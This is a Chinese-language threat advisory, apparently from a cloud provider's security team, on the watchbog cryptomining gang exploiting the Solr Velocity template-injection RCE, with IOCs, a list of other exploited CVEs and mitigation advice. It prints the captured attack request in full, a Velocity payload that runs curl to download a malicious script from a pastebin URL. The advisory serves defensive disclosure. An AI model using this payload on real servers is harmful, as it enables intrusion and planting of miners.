概述

近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利。建议用户及时排查自身主机是否受到影响。

值得注意的是,此漏洞利用代码于10月31日被公布,11月2日阿里云安全团队就已发现watchbog团伙利用此漏洞进行入侵,植入木马进行挖矿,漏洞公开不足2日便被挖矿团伙利用进行攻击牟利。可以看到,当新的漏洞被披露出来时,可供企业用户修复的时间窗口越来越短,因此防守方需要及时地关注新披露可利用漏洞,以及采取缓解措施或进行修复,必要时可考虑选用安全产品帮助保障安全。

背景介绍

watchbog挖矿团伙

watchbog团伙最早出现于2018年,是一个利用多种漏洞攻击方式向目标主机植入挖矿木马的恶意团伙,通过挖取门罗币牟利并维持C&C通信以供团伙后续动作。自出现后更新频繁,一直在尝试利用最新的漏洞进行攻击。

Solr Velocity 模板注入远程命令执行漏洞

Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。在2019年10月31日,国外安全研究员公开了Solr Velocity模板注入的POC。此漏洞存在于Solr默认集成组件Solr.VelocityResponseWriter中,参数params.resource.loader.enabled可以控制是否根据请求参数来加载指定模板,虽然默认为false,但攻击者可以通过发送/[core_name]/config来手动设置此参数的开启,之后便可构造恶意请求执行指令。

攻击者首先可以通过[core_admin]获取服务器core_name,之后通过发送以下命令将加载模板指令打开。

开启从参数指定模板后,攻击者便可以发送恶意代码从而进行恶意行为。

恶意脚本分析

11月2日,阿里云安全团队发现有攻击者利用Solr Velocity漏洞发起入侵,其会向受到此漏洞影响的主机发送以下数据:

GET /solr/scalebay_2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('curl -fsSL https://pastebin.com/raw/dhQaGbMa -o /tmp/baby'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

跟进其使用的脚本 https://pastebin.com/raw/dhQaGbMa,此脚本格式内容与阿里云安全团队之前捕获的watchbog恶意脚本内容格式基本一致,(可参考之前阿里云安全针对watchbog的分析文章,参考文末相关链接),可以确认为同一团伙所为,脚本相同内容不再赘述。除了新增了Solr Velocity攻击方式外,其新增了cleanoldpack函数用以清除旧版木马以及其他恶意团伙恶意程序,可见黑产之间的相互竞争也非常激烈。

其他攻击方式

序号 攻击方式
1 Solr dataimport RCE(CVE-2019-0193)
2 Nexus Repository Manager(CVE_2019_5475)
3 Windows blueKeep RDP RCE (CVE-2019-0708)
4 JIRA模板注入(CVE-2019-11581)
5 Exim Mail Server 远程命令执行(CVE-2019-10149)
6 Solr 实体注入 (CVE-2017-12629)
7 Couchdb 远程命令执行(CVE-2018-8007)
8 Nexus Repository Manager 3 远程命令执行(CVE-2019-7238)
9 Jenkins 远程命令执行(CVE-2018-1000861)
10 Redis未授权访问、Redis任意lua字节码执行(CVE-2015-4335)

IOC

pastebin[.]com/raw/dhQaGbMa 
pastebin[.]com/raw/9QVpd02i 
pastebin[.]com/raw/6HtLs31b

MD5:
9f63e1105214ea94766d8c2fe2ba0da0

安全建议

  1. 截止完成此稿,目前官方还未发布任何补丁,建议用户采用白名单策略限制与solr应用通信对象,并时刻关注官方对于此漏洞的反应。
  2. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击。
  3. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

相关链接

  1. watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击
  2. 威胁快报|Solr dataimport成挖矿团伙新型利用方式
  3. 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发

本文作者:苍珀

原文链接

本文为云栖社区原创内容,未经允许不得转载。

威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短的更多相关文章

  1. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  2. Apache Solr Velocity模板注入rce+获取交互式shell

    前言: 官方的poc.exp payload只能获取很低的命令执行权限,甚至有些符号.命令还被过滤了,例如管道符被过滤.并且不能写入.下载文件,不能使用管道符重定向文件.那么我们只能通过获取到交互式s ...

  3. Apache Solr < 8.2.0远程命令执行漏洞(CVE-2019-0193)

    介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的D ...

  4. solr(CVE-2019-17558)远程命令执行

    影响版本 Apache Solr 5.x到8.2.0版本 测试 https://github.com/jas502n/CVE-2019-0193

  5. solr(CVE-2019-0193)远程命令执行

    影响版本 Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用) 安装 重启daoker  更新配置文件 systemctl dae ...

  6. solr(CVE-2017-12629)远程命令执行

    影响版本Apache Solr 5.5.0到7.0.1版本 solr(CVE-2017-12629-RCE) 环境搭建 1.burp检测 创建listen POST /solr/demo/config ...

  7. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  8. 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞

    2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...

  9. 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞

    ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...

随机推荐

  1. 仅对原表新增列的全量数据.csv

    w

  2. 像计算机科学家一样思考python-第2章 变量、表达式和语句

    感想: 1.程序出现语义错误时,画状态图是一个很好的调试办法.打印出关键变量在不同代码处理后值的变化,就能发现问题的蛛丝马迹. 2.每当学习新语言特性时,都应当在交互模式中进行尝试,并故意犯下错误,看 ...

  3. day38—JavaScript的运动基础-匀速运动

    转行学开发,代码100天——2018-04-23 一.运动基础框架 JavaScript的运动可以广义理解为渐变效果,直接移动效果等,图网页上常见的“分享到”,banner,透明度变化等.其实现的基本 ...

  4. Grafana+Prometheus系统监控之Redis

    REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C语言编写.遵守B ...

  5. JavaScript 表单验证正则表达式大全

    JavaScript 表单验证正则表达式大全[转载] 匹配中文字符的正则表达式: [u4e00-u9fa5] 评注:匹配中文还真是个头疼的事,有了这个表达式就好办了 匹配双字节字符(包括汉字在内):[ ...

  6. vue自定义指令的创建和使用

    一.自定义指令的创建和使用 Vue自带的指令很多,v-for/v-if/v-else/v-else-if/v-model/v-bind/v-on/v-show/v-html/v-text...但是这些 ...

  7. (1)leetcode刷题Python笔记——两数之和

    题目如下: 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但是,你不能重复利用这个数 ...

  8. JavaScript defineProperties

    function defineProperties(obj, properties) {   function convertToDescriptor(desc)   {     function h ...

  9. Java语言的特点与工作原理

    Java语言的特点 1.简单性 Java语言与我们常听到的C++语言很像,但是没有C++那么繁琐.因为Java就是在C++之上设计出来的,设计者把C++的一些特性去掉了,这些特性在实际开发中,程序员也 ...

  10. 用Emacs编写mybatis

    用Emacs编写mybatis */--> code {color: #FF0000} pre.src {background-color: #002b36; color: #839496;} ...